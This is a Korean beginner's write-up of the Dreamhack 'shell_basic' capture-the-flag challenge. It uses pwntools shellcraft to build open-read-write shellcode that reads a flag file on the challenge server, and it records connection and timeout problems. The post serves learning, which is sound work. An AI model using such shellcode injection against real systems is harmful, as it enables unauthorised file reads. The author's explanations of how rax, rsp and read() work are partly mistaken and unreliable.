
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<Error>
<Code>AccessDenied</Code>
<RequestId>tx000000000000068fa8ac8-0062380560-22abac8d-sfo2a</RequestId>
<HostId>22abac8d-sfo2a-sfo</HostId>
</Error>
해킹 관련 문제는 처음풀어본다 이건 알고리즘이랑 전혀 관련 없어보인다..
📌 리눅스 커널
리눅스 OS의 가장 핵심 영역. CPU에 명령을 내림
📌 셸코드(shell code) : 시스템의 특정 명령을 실행하는 작은 사이즈의 프로그램
주로 소프트웨어 취약점을 통한 공격(Exploitation)이후 실행 될 작은 규모의 포로그램(Payload)으로 사용
어쨋든 리눅스 커널은 사용자랑 상호작용이 불가능하니까
문제도 xshell로 접근하면 된다
execve, execveat : fork()로 생성한 함수를 콜해주는 함수
구글링 해보니 execve로 시스템 콜을 리눅스에서 하지 못하면
ORW(Open Read Write) 방식으로 진행하면 된다고 한다
예전에 파이썬 처음 배울 때 텍스트 파일로 실습하던 느낌으로 진행하면 되나보다
더 자료 찾아보고 알아보니 드림핵 문제는 리눅스를 기반으로 진행되므로
윈도우가 아니라 리눅스에 진행해야 매끄럽게 잘 진행이 되는 것같다
터미널에서
su - root
apt-get update
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
pip install --upgrade pip
pip install --upgrade pwntools
그런데 계속 Command 'pip' not found, but can be installed with:
에러가 나고 터미널에서
apt install python3-pip를 대신하라 했다
다른 코드를 실행하니 pwntools 설치 완료

파이썬 사용할 것이니 python 입력
python3부터는 python이 아니라 python3를 입력해야 되나보다
pwntools를 사용하기 위해 import
from pwn import *
pwntools에서 remote는 remote(“ip”, port number)를 통해 연결해준다
앞에 문제에서 나온 접속 정보를 remote 함수에 입력
p = remote("host3.dreamhack.games", 24346)
그런데 포트에 연결이 안된다고 한다 포트 번호가 바뀐건가 확인
Host: host1.dreamhack.games
Port: 17599/tcp
접속정보가 저렇게 변경되었다
p = remote("host1.dreamhack.games", 17599)

context.arch = 'amd64'
pwntools는 셸코드를 생성하거나 코드를 어셈블, 디스어셈블 하는 기능이 있다
그래서 직접적으로 셸코드를 작성하지 않아도 알아서 변환해준다!
amd64는 x86-64 즉 64비트 환경에서 사용하는 것이므로 amd64를 context 아키텍쳐로 설정
r = "/home/shell_basic/flag_name_is_loooooong"
문제에서 제시한 flag가 있는 루트 설정
이제부터는 셸코드를 작성해야 한다
아직도 개념이 100% 잡힌건 아니지만 셸코드도
파이썬으로 텍스트 파일 오픈 리드 라이트 하는거랑 똑같이 진행할 수 있다
shellcode = ''
shellcode += shellcraft.open(r)
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
먼저 셸코드를 담을 변수 shellcode 초기화
shellcraft라는 함수를 사용하여 시스템콜인 execve나 orw 셸코드를 작성할 수 있다
문제에서는 r에 있는 프로그램을 특정하는 것을 목표로 하니까
r을 열어준 뒤 그에 해당하는 셸코드를 작성한다
그리고 read('rax', 'rsp', 0x100)
rax : Extended Accumulator Register
사칙연산 명령어에서 자동으로 사용, 리턴 레지스터
시스템콜의 실질적인 번호를 가리키는 레지스터
rsp : Extended Stack Pointer
현재 스택 주소. 즉 스택 맨 윗쪽 주소. 스택에 있는 데이터의 주소를 지정. 계산, 데이터 전송에는 거의 사용되지 않는다
프로그램이 구동되며 어떤 코드와 메모리를 로드할지 계속 할당해줘야하는데
그 할당을 하는 것 중 하나 rsp인것 같다..
그러니까 rsp가 해당하는 값을 rax에 넣어주는 방식으로 셸코드가 생성되어 시스템이 구동되는 것이다..
0x100은 16진수로 256인데
read는 256에 해당하는 rsp를 rax에 넣어주는 것을 의미하는 것같다
write(1, 'rsp', 0x100)
print(p.recv())
p.sendline(asm(shellcode))
print(p.recv())
그러고 출력을 하려는데
에러가 뜬다
일단 처음 print(p.recv())에서 b'shellcode: TIME OUT\n' 에러가 난다
pwntool document에서 timeout 설정 이런것도 있어서
처음에는 timeout 설정을 안해서 문제인가 했으나
문제 자체가 서버에 접속 뒤 30초 안에 코드를 입력해야 되는 것이라
계속 timeout 에러가 났다
결과

어셈블리어와 시스템 동작 과정
http://kocw-n.xcache.kinxcdn.com/data/document/2020/pusancatholic/kimdohyun0727/2.pdf
셸코드 설명 + 어셈블리어
https://masterccc.github.io/memo/shellcode/
어셈블리어 설명
https://yechoi.tistory.com/10
pwntool과 어셈블리어
https://docs.pwntools.com/en/stable/shellcraft/amd64.html
사실 참고자료 읽어도 잘 모르겠다..